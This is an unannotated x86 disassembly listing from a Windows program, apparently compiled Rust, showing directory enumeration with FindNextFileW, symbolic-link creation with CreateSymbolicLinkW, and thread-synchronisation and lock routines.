movdqa xmm0, xmmword [esp + 0x5c0]
mov dword [esp + 0x11c], ebx
movd eax, xmm0
pextrw ecx, xmm0, 1
cmp ax, 0x2e
sete al
test ecx, ecx
sete dl
and dl, al
cmp cx, 0x2e
sete cl
and cl, al
cmp word [esp + 0xa6], 0
sete al
and al, cl
or al, dl
mov byte [esp + 0x73], al
mov dword [esp + 0x28], eax
jmp 0x40fdcb
xor esi, esi
cmp dword [esp + 0xc], 0xffffffff
je 0x4103ae
cmp esi, 1
setne al
or al, byte [esp + 0x73]
test al, 1
je 0x40fef3
push 0x250
push 0
lea esi, [esp + 0x7f8]
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
nop
push esi
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x40ffab
mov eax, dword [esp + 0x81c]
movzx ecx, word [esp + 0x81e]
mov edx, eax
xor edx, 0x2e
or dx, cx
je 0x40fe00
cmp ax, 0x2e
jne 0x40fe43
cmp cx, 0x2e
jne 0x40fe43
cmp word [esp + 0x820], 0
je 0x40fe00
lock inc dword [ebx]
jle 0x40d734
mov ecx, edi
mov edi, dword [esp + 0x7f0]
mov eax, dword [esp + 0x7f4]
mov dword [esp + 0x28], edi
shrd edi, eax, 8
mov dword [esp + 0x10], eax
lea eax, [esp + 0x7fc]
movsd xmm1, qword [eax + 4]
movsd xmm0, qword [eax - 4]
movq xmm2, qword [eax + 0x14]
movsd qword [esp + 0x88], xmm1
movsd xmm1, qword [eax + 0xc]
mov eax, dword [eax + 0x1c]
movsd qword [esp + 0x80], xmm0
movq qword [esp + 0x98], xmm2
movsd qword [esp + 0x90], xmm1
mov dword [esp + 0xa0], eax
movd xmm1, dword [esp + 0x81c]
movzx eax, word [esp + 0x820]
movdqa xmmword [esp + 0x130], xmm1
mov word [esp + 0x64], ax
push 0x21e
lea eax, [esp + 0x826]
push eax
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x34]
mov edx, edi
add esp, 0xc
mov edi, ebx
jmp 0x40fff3
lock inc dword [ebx]
lea esi, [esp + 0x7f0]
jle 0x40d734
movsd xmm1, qword [esp + 0x158]
mov eax, dword [esp + 0x168]
movsd xmm0, qword [esp + 0x160]
movq xmm2, qword [esp + 0x148]
movsd qword [esp + 0x90], xmm1
movq xmm1, qword [esp + 0x150]
mov dword [esp + 0xa0], eax
movsd qword [esp + 0x98], xmm0
movq qword [esp + 0x80], xmm2
movq qword [esp + 0x88], xmm1
push 0x21e
lea eax, [esp + 0x5d4]
push eax
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0x174]
movaps xmm0, xmmword [esp + 0x5c0]
movzx edi, word [esp + 0xa6]
mov edx, dword [esp + 0x170]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x100]
mov word [esp + 0x64], di
movaps xmmword [esp + 0x130], xmm0
mov edi, ebx
mov ecx, eax
jmp 0x40fff3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [esp + 0x30]
cmp eax, 0x12
mov ecx, 0
mov esi, dword [esp + 0x10]
cmovne edx, ecx
cmovne esi, eax
mov dword [esp + 0x30], edx
mov edx, dword [esp + 0x28]
mov dword [esp + 0x10], esi
movzx edx, dl
cmovne edx, ecx
je 0x4103ae
mov ecx, edx
mov edx, dword [esp + 0x104]
mov edi, dword [esp + 0x30]
lea esi, [esp + 0x7f0]
mov eax, edx
movzx ebx, cl
shl eax, 8
or ebx, eax
test edi, edi
je 0x410474
movsd xmm1, qword [esp + 0x90]
mov eax, dword [esp + 0xa0]
movsd xmm0, qword [esp + 0x98]
movsd xmm2, qword [esp + 0x80]
mov dword [esp + 0x104], edx
mov dword [esp + 0x28], ecx
movsd qword [esp + 0xb8], xmm1
movsd xmm1, qword [esp + 0x88]
mov dword [esp + 0xc8], eax
movsd qword [esp + 0xc0], xmm0
movsd qword [esp + 0xa8], xmm2
movsd qword [esp + 0xb0], xmm1
push 0x21e
lea eax, [esp + 0x184]
push eax
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
movsd xmm1, qword [esp + 0xb0]
mov eax, dword [esp + 0xc8]
movsd xmm0, qword [esp + 0xa8]
movsd xmm2, qword [esp + 0xb8]
movsd qword [esp + 0xe0], xmm1
movsd xmm1, qword [esp + 0xc0]
movsd qword [esp + 0xd8], xmm0
movsd qword [esp + 0xe8], xmm2
mov dword [esp + 0xf8], eax
movsd qword [esp + 0xf0], xmm1
push 0x21e
push esi
lea esi, [esp + 0x3a8]
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
movsd xmm1, qword [esp + 0xe8]
lea ecx, [esp + 0x7fc]
mov eax, dword [esp + 0xf8]
movq xmm0, qword [esp + 0xf0]
movq xmm2, qword [esp + 0xd8]
movsd qword [ecx + 0x10], xmm1
movsd xmm1, qword [esp + 0xe0]
mov dword [ecx + 0x20], eax
movzx eax, word [esp + 0x64]
movq qword [ecx + 0x18], xmm0
movq qword [ecx], xmm2
movsd qword [ecx + 8], xmm1
movdqa xmm1, xmmword [esp + 0x130]
movd dword [esp + 0x820], xmm1
mov word [esp + 0x824], ax
push 0x21e
push esi
lea eax, [esp + 0x82e]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0x10]
mov dword [esp + 0x7f0], edi
mov dword [esp + 0x7f4], ebx
mov dword [esp + 0x30], edi
lea edx, [esp + 0x820]
mov ecx, 0x104
mov dword [esp + 0x7f8], eax
mov eax, edx
mov ebx, dword [edi + 0xc]
mov edi, dword [edi + 0x10]
cmp word [eax], 0
je 0x410258
cmp word [eax + 2], 0
je 0x410237
cmp word [eax + 4], 0
je 0x41023c
cmp word [eax + 6], 0
je 0x410241
cmp word [eax + 8], 0
je 0x410246
cmp word [eax + 0xa], 0
je 0x41024b
cmp word [eax + 0xc], 0
je 0x410250
cmp word [eax + 0xe], 0
je 0x410255
add ecx, 0xfffffff8
add eax, 0x10
cmp ecx, 7
ja 0x410196
cmp word [esp + 0xa20], 0
lea eax, [esp + 0xa20]
je 0x410258
cmp word [esp + 0xa22], 0
lea eax, [esp + 0xa22]
je 0x410258
cmp word [esp + 0xa24], 0
lea eax, [esp + 0xa24]
je 0x410258
cmp word [esp + 0xa26], 0
mov esi, 0x104
lea eax, [esp + 0xa26]
jne 0x410269
jmp 0x410258
add eax, 2
jmp 0x410258
add eax, 4
jmp 0x410258
add eax, 6
jmp 0x410258
add eax, 8
jmp 0x410258
add eax, 0xa
jmp 0x410258
add eax, 0xc
jmp 0x410258
add eax, 0xe
sub eax, edx
cmp eax, 0x20a
jae 0x40d734
shr eax, 1
mov esi, eax
lea ecx, [esp + 0xa8]
push esi
call fcn.00481800
add esp, 4
test edi, edi
js 0x40d734
mov eax, dword [esp + 0xac]
mov ecx, dword [esp + 0xb0]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
je 0x4102b4
movzx eax, byte [0x77618d]
xor ecx, ecx
mov edx, edi
call fcn.00490be0
mov esi, eax
test eax, eax
jne 0x4102b9
jmp 0x40d734
mov esi, 1
push edi
push ebx
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [esp + 0x180], edi
mov dword [esp + 0x184], esi
mov esi, dword [esp + 0x18]
mov dword [esp + 0x188], edi
lea edi, [esp + 0x180]
mov byte [esp + 0x18c], 0
mov ecx, edi
mov edx, esi
push dword [esp + 0x14]
call fcn.00483dd0
add esp, 4
movsd xmm0, qword [esp + 0x180]
movsd xmm1, qword [esp + 0x188]
cmp dword [esp + 0xa8], 0
movsd qword [esp + 0x110], xmm1
movsd qword [esp + 0x108], xmm0
je 0x410339
push esi
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [esp + 0xd4]
cmp esi, dword [esp + 0xcc]
jne 0x410355
lea ecx, [esp + 0xcc]
call fcn.004a44e0
mov eax, dword [esp + 0xd0]
movq xmm0, qword [esp + 0x108]
movq xmm1, qword [esp + 0x110]
mov ecx, esi
inc esi
shl ecx, 4
movq qword [eax + ecx + 8], xmm1
movq qword [eax + ecx], xmm0
mov dword [esp + 0xd4], esi
mov eax, dword [esp + 0x7f0]
lock dec dword [eax]
mov ebx, dword [esp + 0x11c]
jne 0x40fdc9
mov ecx, dword [esp + 0x7f0]
call fcn.00405880
jmp 0x40fdc9
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
lock dec dword [ebx]
jne 0x4103c4
mov ecx, ebx
call fcn.00405880
mov eax, dword [esp + 0xcc]
mov ebx, dword [esp + 0xd0]
mov edi, dword [esp + 0xd4]
mov ecx, eax
neg ecx
jno 0x41054c
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
jmp 0x40faa0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x411b11
movzx eax, byte [0x77618d]
xor ecx, ecx
mov edx, 0x18
call fcn.00490be0
test eax, eax
je 0x40d734
mov ecx, dword [esp + 0x10]
cmp dword [esp + 0x14], 0
mov ebx, eax
mov dword [eax], 1
mov dword [eax + 4], 1
mov dword [eax + 8], esi
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], esi
mov byte [eax + 0x14], 0
je 0x410453
push dword [esp + 0x28]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
cmp dword [esp + 0x30], 0
mov dword [esp + 0x100], eax
mov dword [esp + 0xc], 0xffffffff
jne 0x40fcfa
jmp 0x40fd0c
movsd xmm1, qword [esp + 0xb8]
mov eax, dword [esp + 0xc8]
movq xmm0, qword [esp + 0xc0]
movq xmm2, qword [esp + 0xa8]
movsd qword [esp + 0xe8], xmm1
movq xmm1, qword [esp + 0xb0]
mov dword [esp + 0xf8], eax
movq qword [esp + 0xf0], xmm0
movq qword [esp + 0xd8], xmm2
movq qword [esp + 0xe0], xmm1
push 0x21e
push esi
lea eax, [esp + 0x3a8]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x11c]
lock dec dword [ecx]
jne 0x4104fb
call fcn.00405880
mov edi, dword [esp + 0xd4]
mov eax, dword [esp + 0xd0]
test edi, edi
je 0x411b3e
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
lea esi, [eax + 4]
mov dword [esp + 0xc], eax
jmp 0x41052c
add esi, 0x10
dec edi
je 0x41092b
cmp dword [esi - 4], 0
je 0x410522
push dword [esi]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
jmp 0x410522
mov esi, edi
mov dword [esp + 0x180], ebx
mov dword [esp + 0x184], ebx
mov dword [esp + 0x188], eax
shl esi, 4
test edi, edi
lea ecx, [ebx + esi]
mov dword [esp + 0x18c], ecx
je 0x410938
add ebx, 0x10
jmp 0x410589
add ebx, 0x10
add esi, 0xfffffff0
je 0x410938
mov dword [esp + 0x184], ebx
mov edi, dword [ebx - 0x10]
mov eax, edi
neg eax
jo 0x410938
mov ecx, dword [ebx - 0xc]
mov edx, dword [ebx - 8]
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], edx
call fcn.00487810
test eax, eax
setne cl
cmp edx, 9
sete dl
test cl, dl
je 0x4105d7
push 9
push 0x71b6d2
push eax
call sub.VCRUNTIME140.dll_memcmp
add esp, 0xc
test eax, eax
je 0x41090c
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov dword [esp + 0x14], edi
call fcn.00487810
test eax, eax
je 0x40d734
mov edi, dword [esp + 0x24]
mov dword [esp + 0x18], edx
mov dword [esp + 0x30], eax
mov dword [esp + 0x130], esi
test edi, edi
je 0x410622
movzx eax, byte [0x77618d]
xor ecx, ecx
mov edx, edi
call fcn.00490be0
mov esi, eax
test eax, eax
jne 0x410627
jmp 0x40d734
mov esi, 1
push edi
push dword [esp + 0x7c]
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov edx, dword [esp + 0x30]
mov dword [esp + 0x7f0], edi
mov dword [esp + 0x7f4], esi
lea esi, [esp + 0x7f0]
mov dword [esp + 0x7f8], edi
mov byte [esp + 0x7fc], 0
mov ecx, esi
push dword [esp + 0x18]
call fcn.00483dd0
add esp, 4
mov eax, dword [esp + 0x7f0]
movsd xmm0, qword [esp + 0x7f8]
mov edi, dword [esp + 0x7f4]
mov edx, dword [esp + 0xc]
mov ecx, esi
mov dword [esp + 0x28], eax
movaps xmmword [esp + 0x30], xmm0
push dword [esp + 0x10]
call fcn.004827e0
add esp, 4
mov esi, dword [esp + 0x7f0]
mov dword [esp + 0x18], edi
mov eax, esi
neg eax
jno 0x4106c2
mov eax, dword [esp + 0x7f8]
movzx ecx, byte [esp + 0x7f4]
jmp 0x410815
mov eax, dword [esp + 0x7f4]
mov dword [esp + 0x10], eax
sub esp, 4
movaps xmm0, xmmword [esp + 0x34]
lea ecx, [esp + 0x3a4]
mov edx, edi
movss dword [esp], xmm0
call fcn.004827e0
add esp, 4
mov edx, dword [esp + 0x3a0]
mov edi, dword [esp + 0x3a4]
mov eax, dword [esp + 0x3a8]
mov ecx, edx
neg ecx
jno 0x41070d
mov ecx, edi
jmp 0x4107f7
lea ecx, [esp + 0x5d0]
mov dword [esp + 0x7f0], edx
mov dword [esp + 0x7f4], edi
mov dword [esp + 0x7f8], eax
lea edx, [esp + 0x7f0]
push 1
call fcn.00483890
add esp, 4
mov ecx, dword [esp + 0x5d0]
mov eax, ecx
neg eax
jno 0x41075b
movzx ecx, byte [esp + 0x5d4]
mov eax, dword [esp + 0x5d8]
jmp 0x4107f7
mov edi, dword [esp + 0x5d4]
mov dword [esp + 0x64], ecx
push 2
push dword [esp + 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_CreateSymbolicLinkW]
test al, al
je 0x4107b9
cmp dword [esp + 0x64], 0
je 0x41078d
push edi
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [esp + 0x14]
movdqa xmm0, xmmword [esp + 0x30]
test esi, esi
je 0x410824
push dword [esp + 0x10]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
movdqa xmm0, xmmword [esp + 0x30]
jmp 0x410824
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4107db
push 0
push dword [esp + 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_CreateSymbolicLinkW]
test al, al
jne 0x410777
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [esp + 0x64], 0
je 0x4107f5
push edi
push 0
push dword [0x776180]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
xor ecx, ecx
test esi, esi
je 0x410815
push dword [esp + 0x10]
push 0
push dword [0x776180]
mov esi, eax
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, edi
mov eax, esi
mov edi, dword [esp + 0x14]
movdqa xmm0, xmmword [esp + 0x30]
cmp cl, 4
jne 0x410894
sub esp, 4
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x7f4]
movd dword [esp], xmm0
call fcn.00411be0
add esp, 4
movzx eax, byte [esp + 0x7f0]
cmp al, 4
jne 0x411b4f
mov esi, dword [esp + 0x60]
cmp esi, dword [esp + 0x58]
jne 0x410862
lea ecx, [esp + 0x58]
call fcn.004a44e0
mov eax, dword [esp + 0x5c]
mov edx, dword [esp + 0x28]
mov ecx, esi
movdqa xmm0, xmmword [esp + 0x30]
inc esi
shl ecx, 4
mov dword [eax + ecx], edx
mov edx, dword [esp + 0x18]
mov dword [eax + ecx + 4], edx
movq qword [eax + ecx + 8], xmm0
mov dword [esp + 0x60], esi
mov esi, dword [esp + 0x130]
jmp 0x41090c
cmp cl, 3
jb 0x4108eb
mov edi, dword [eax + 4]
mov edx, dword [eax]
mov ecx, dword [edi]
test ecx, ecx
je 0x4108b6
push edx
mov dword [esp + 0x14], eax
mov esi, edx
call ecx
mov eax, dword [esp + 0x14]
mov edx, esi
add esp, 4
cmp dword [edi + 4], 0
je 0x4108d8
cmp dword [edi + 8], 9
jb 0x4108c5
mov edx, dword [edx - 4]
mov esi, eax
push edx
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, esi
push eax
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [esp + 0x14]
cmp dword [esp + 0x28], 0
mov esi, dword [esp + 0x130]
mov eax, dword [esp + 0x18]
je 0x41090c
push eax
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
test edi, edi
je 0x41057d
push dword [esp + 0xc]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x41057d
mov edi, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
jmp 0x40fa7f
lea ecx, [esp + 0x180]
call fcn.00404d90
movzx eax, byte [0x77618d]
xor ecx, ecx
mov edx, 0x10
call fcn.00490be0
test eax, eax
je 0x40d734
mov esi, eax
movzx eax, byte [0x77618d]
xor ecx, ecx
mov edx, 8
call fcn.00490be0
mov ebx, dword [esp + 0x40]
test eax, eax
je 0x40d734
mov dword [eax], 1
mov dword [eax + 4], 1
mov edi, eax
xor ecx, ecx
mov edx, 8
movzx eax, byte [0x77618d]
call fcn.00490be0
test eax, eax
je 0x40d734
mov dword [eax], 1
mov dword [eax + 4], 1
mov dword [esi], edi
mov dword [esi + 4], 0x71b6f4
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x71b704
mov dword [esp + 0xa8], 2
mov dword [esp + 0xac], esi
mov dword [esp + 0xb0], 2
call fcn.00423330
mov ecx, eax
mov edi, eax
call fcn.00404e50
mov ecx, dword [esi + eax*8]
mov eax, dword [esi + eax*8 + 4]
lock inc dword [ecx]
jle 0x40d734
mov dword [esp + 0x148], ecx
mov ecx, edi
mov dword [esp + 0x14c], eax
call fcn.00404c70
lea ecx, [esp + 0x7f0]
call fcn.00403b30
mov eax, dword [esp + 0x7f4]
mov esi, dword [esp + 0x7f0]
xor ecx, ecx
mov edx, 0x20
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x7f8]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x7fc]
mov dword [esp + 0x24], eax
movzx eax, byte [0x77618d]
call fcn.00490be0
test eax, eax
je 0x40d734
mov edx, dword [esp + 0x7c]
mov edi, eax
lea ecx, [esp + 0x180]
push ebx
call fcn.0047eb70
add esp, 4
mov edx, dword [esp + 0x4c]
lea ecx, [esp + 0x7f0]
push dword [esp + 0x44]
call fcn.0047eb70
add esp, 4
mov eax, dword [esp + 0x188]
mov ecx, dword [esp + 0x20]
mov ebx, 2
mov dword [edi + 8], eax
movzx eax, byte [esp + 0xfc]
mov edx, ecx
movsd xmm0, qword [esp + 0x180]
neg edx
movsd qword [edi], xmm0
mov byte [edi + 0xc], al
movq xmm0, qword [esp + 0x7f0]
movq qword [edi + 0x10], xmm0
mov eax, dword [esp + 0x7f8]
mov dword [edi + 0x18], eax
movzx eax, byte [esp + 0x50]
mov byte [edi + 0x1c], al
mov dword [esp + 0x5d0], 2
mov dword [esp + 0x5d4], edi
mov dword [esp + 0x5d8], 2
jo 0x410b48
mov ebx, esi
mov esi, ecx
lea ecx, [esp + 0x5d0]
call fcn.004a44e0
mov edi, dword [esp + 0x5d4]
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x120]
mov ecx, dword [esp + 0x6c]
mov dword [edi + 0x20], esi
mov dword [edi + 0x24], eax
mov esi, ebx
mov dword [edi + 0x2c], edx
mov dword [edi + 0x28], ecx
mov dword [esp + 0x5d8], 3
mov ebx, 3
lea ecx, [esp + 0x7f8]
mov edx, edi
mov dword [esp + 0x20], ebx
push ebx
call fcn.004068f0
add esp, 4
mov edx, dword [esp + 0x14]
mov ecx, esi
mov dword [esp + 0x44], esi
call fcn.004072b0
lea ecx, [esp + 0x148]
mov dword [esp + 0x7f0], eax
mov dword [esp + 0x7f4], edx
mov dword [esp + 0x804], ecx
lea ecx, [esp + 0x7f0]
call fcn.0040c980
mov ebx, dword [esp + 0x24]
lea eax, [ebx + 0x80]
mov dword [esp + 0xfc], eax
jmp 0x410bdc
push edi
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [esp + 0x48]
mov ebx, dword [esp + 0x24]
mov ecx, dword [esp + 0x2c]
dec dword [esp + 0x20]
je 0x411a55
mov eax, dword [esp + 0x18]
cmp eax, 2
je 0x410f17
cmp eax, 1
jne 0x4110bf
pxor xmm0, xmm0
mov dword [esp + 0x188], 0x3b9aca00
mov dword [esp + 0x800], 0
movdqa xmmword [esp + 0x7f0], xmm0
xor ecx, ecx
jmp 0x410c29
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
inc esi
mov ecx, esi
mov eax, dword [ebx]
mov esi, ecx
mov edx, dword [ebx + 4]
mov ecx, eax
shr ecx, 1
mov edi, ecx
and edi, 0x1f
cmp edi, 0x1f
mov dword [esp + 0xc], edi
jne 0x410c60
cmp esi, 7
jae 0x410c20
test esi, esi
je 0x410c26
mov eax, esi
imul eax, esi
pause
dec eax
jne 0x410c50
jmp 0x410c26
lea edi, [eax + 2]
test al, 1
mov dword [esp + 0x10], edi
jne 0x410cba
mfence
mov edi, edx
mov ebx, dword [ebx + 0x40]
mov edx, ebx
shr edx, 1
cmp ecx, edx
je 0x410cfa
mov edx, dword [esp + 0x10]
xor ebx, eax
xor ecx, ecx
cmp ebx, 0x40
mov ebx, dword [esp + 0x24]
setae cl
or edx, ecx
mov ecx, edx
mov edx, edi
test edx, edx
jne 0x410cc2
cmp esi, 7
jae 0x410c20
test esi, esi
je 0x410c26
mov eax, esi
imul eax, esi
nop word cs:[eax + eax]
nop
pause
dec eax
jne 0x410cb0
jmp 0x410c26
mov ecx, dword [esp + 0x10]
test edx, edx
je 0x410c97
lock cmpxchg dword [ebx], ecx
je 0x411468
cmp esi, 6
mov eax, 6
mov ecx, 1
cmovb eax, esi
imul eax, eax
test esi, esi
je 0x410c29
nop word [eax + eax]
pause
dec eax
jne 0x410cf0
jmp 0x410c26
test bl, 1
jne 0x41159a
mov edi, dword [esp + 0x188]
cmp edi, 0x3b9aca00
je 0x410d70
mov eax, dword [esp + 0x180]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x184]
mov dword [esp + 0xc], eax
call fcn.00490ab0
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x30]
mov esi, edx
xor edx, dword [esp + 0xc]
mov dword [esp + 0x40], eax
xor ebx, ebx
xor eax, ecx
or eax, edx
mov eax, 0xff
setne bl
cmp dword [esp + 0x40], ecx
sbb esi, dword [esp + 0xc]
cmovb ebx, eax
cmp dword [esp + 0x10], edi
mov eax, 0
sbb eax, eax
test bl, bl
cmovne eax, ebx
cmp al, 2
jb 0x411a37
mov eax, dword [0x776190]
mov ecx, dword fs:[0x2c]
mov ebx, dword [esp + 0x24]
mov eax, dword [ecx + eax*4]
mov eax, dword [eax + 0x3c]
cmp eax, 1
jne 0x410e48
mov eax, dword [0x776190]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov esi, dword [eax + 0x40]
mov dword [eax + 0x40], 0
test esi, esi
je 0x410eaf
lea eax, [esp + 0x7f0]
lea ecx, [esp + 0x180]
mov dword [esp + 0x80], esi
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
lea edx, [esp + 0x80]
mov dword [esp + 0x3a0], eax
mov dword [esp + 0x3a4], ebx
mov dword [esp + 0x3a8], ecx
lea ecx, [esp + 0x3a0]
call fcn.00401c00
mov eax, dword [0x776190]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
mov eax, dword [ecx + 0x40]
mov dword [ecx + 0x40], esi
test eax, eax
mov dword [esp + 0x3a0], eax
je 0x410c15
lock dec dword [eax]
jne 0x410c15
lea ecx, [esp + 0x3a0]
call fcn.0048efa0
jmp 0x410c15
cmp eax, 2
jne 0x410f0d
call fcn.004e5dd0
lea edx, [esp + 0x7f0]
lea ecx, [esp + 0x180]
mov esi, eax
mov dword [esp + 0x80], eax
mov dword [esp + 0x3a0], edx
mov dword [esp + 0x3a4], ebx
mov dword [esp + 0x3a8], ecx
lea ecx, [esp + 0x3a0]
lea edx, [esp + 0x80]
call fcn.00401c00
lock dec dword [esi]
jne 0x410c15
lea ecx, [esp + 0x80]
call fcn.0048efa0
jmp 0x410c15
call fcn.004e5dd0
lea edx, [esp + 0x7f0]
lea ecx, [esp + 0x180]
mov esi, eax
mov dword [esp + 0x108], eax
mov dword [esp + 0x3a0], edx
mov dword [esp + 0x3a4], ebx
mov dword [esp + 0x3a8], ecx
lea ecx, [esp + 0x3a0]
lea edx, [esp + 0x108]
call fcn.00401c00
lock dec dword [esi]
jne 0x410c15
lea ecx, [esp + 0x108]
call fcn.0048efa0
jmp 0x410c15
call fcn.004e3760
jmp 0x410d92
pxor xmm0, xmm0
mov dword [esp + 0x3a8], 0x3b9aca00
mov dword [esp + 0x800], 0
xor eax, eax
mov cl, 1
movdqa xmmword [esp + 0x7f0], xmm0
lock cmpxchg byte [ebx], cl
jne 0x411647
mov eax, dword [ebx + 0xc]
test eax, eax
je 0x411659
mov ecx, dword [0x776190]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp byte [ecx + 0x38], 0
jne 0x410f85
mov ecx, dword [0x776190]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
mov word [ecx + 0x38], 1
mov ecx, dword [esp + 0x24]
shl eax, 2
xor esi, esi
lea edx, [eax + eax*2]
mov ecx, dword [ecx + 8]
jmp 0x410fa3
add ecx, 0xc
inc esi
add edx, 0xfffffff4
je 0x411659
mov eax, dword [0x776190]
mov ebx, dword fs:[0x2c]
mov edi, dword [ecx]
mov eax, dword [ebx + eax*4]
lea eax, [eax + 0x39]
cmp dword [edi + 0x14], eax
je 0x410f96
mov ebx, dword [ecx + 4]
xor eax, eax
lock cmpxchg dword [edi + 0xc], ebx
jne 0x410f96
mov eax, dword [ecx + 8]
test eax, eax
je 0x410fd5
mov dword [edi + 0x10], eax
mov eax, dword [edi + 8]
mov cl, 1
xchg byte [eax + 0x1c], cl
mov ebx, dword [esp + 0x24]
cmp cl, 0xff
jne 0x410ff0
add eax, 0x1c
push eax
call dword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov edi, dword [ebx + 0xc]
cmp edi, esi
jbe 0x40d734
mov ecx, dword [ebx + 8]
lea edx, [esi + esi*2]
not esi
add esi, edi
shl esi, 2
lea eax, [ecx + edx*4]
mov ebx, dword [ecx + edx*4]
mov dword [esp + 0xc], eax
mov eax, dword [ecx + edx*4 + 4]
mov dword [esp + 0x30], eax
mov eax, dword [ecx + edx*4 + 8]
lea ecx, [ecx + edx*4 + 0xc]
lea edx, [esi + esi*2]
mov dword [esp + 0x10], eax
push edx
push ecx
push dword [esp + 0x14]
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov eax, dword [esp + 0x24]
dec edi
test ebx, ebx
mov dword [eax + 0xc], edi
je 0x411659
mov eax, dword [esp + 0x30]
mov dword [esp + 0x180], ebx
mov ebx, dword [esp + 0x24]
mov dword [esp + 0x184], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x188], eax
mov dword [esp + 0x800], eax
xor eax, eax
xchg byte [ebx], al
cmp al, 2
jne 0x41107e
push ebx
call dword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov ecx, dword [esp + 0x800]
test ecx, ecx
je 0x41187a
cmp byte [ecx + 9], 0
je 0x4118ff
movzx ebx, byte [ecx]
mov byte [ecx], 5
cmp bl, 5
je 0x40d734
movzx esi, byte [ecx + 7]
movzx eax, word [ecx + 5]
mov edi, dword [ecx + 1]
mov byte [ecx + 8], 1
shl esi, 0x10
or esi, eax
jmp 0x411936
pxor xmm0, xmm0
mov dword [esp + 0x188], 0x3b9aca00
mov dword [esp + 0x800], 0
movdqa xmmword [esp + 0x7f0], xmm0
xor eax, eax
jmp 0x4110f3
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
nop dword [eax]
inc esi
mov eax, esi
mov dword [esp + 0xc], eax
mov ecx, ebx
mov eax, dword [ebx]
mov edx, dword [ebx + 0xc8]
mov esi, dword [ebx + 0xcc]
xor ebx, ebx
sub ebx, dword [ecx + 0xc4]
dec edx
mov dword [esp + 0x10], esi
and edx, eax
lea edi, [edx + edx*2]
mov dword [esp + 0x30], edi
mov edi, dword [esi + edi*4 + 8]
lea esi, [eax + 1]
cmp esi, edi
mov esi, dword [esp + 0xc]
jne 0x411180
inc edx
cmp edx, dword [ecx + 0xc0]
mov edx, eax
jb 0x411141
and ebx, edx
add ebx, dword [ecx + 0xc4]
mov edi, ebx
mov eax, edx
mov ebx, ecx
lock cmpxchg dword [ecx], edi
je 0x411416
cmp esi, 6
mov ecx, 6
mov eax, 1
cmovb ecx, esi
imul ecx, ecx
test esi, esi
je 0x4110f3
nop word cs:[eax + eax]
pause
dec ecx
jne 0x411170
jmp 0x4110f0
cmp edi, eax
jne 0x4111ca
mfence
mov ecx, eax
mov ebx, dword [esp + 0x24]
mov eax, dword [ebx + 0x40]
mov edx, dword [ebx + 0xc8]
mov edi, edx
not edi
and edi, eax
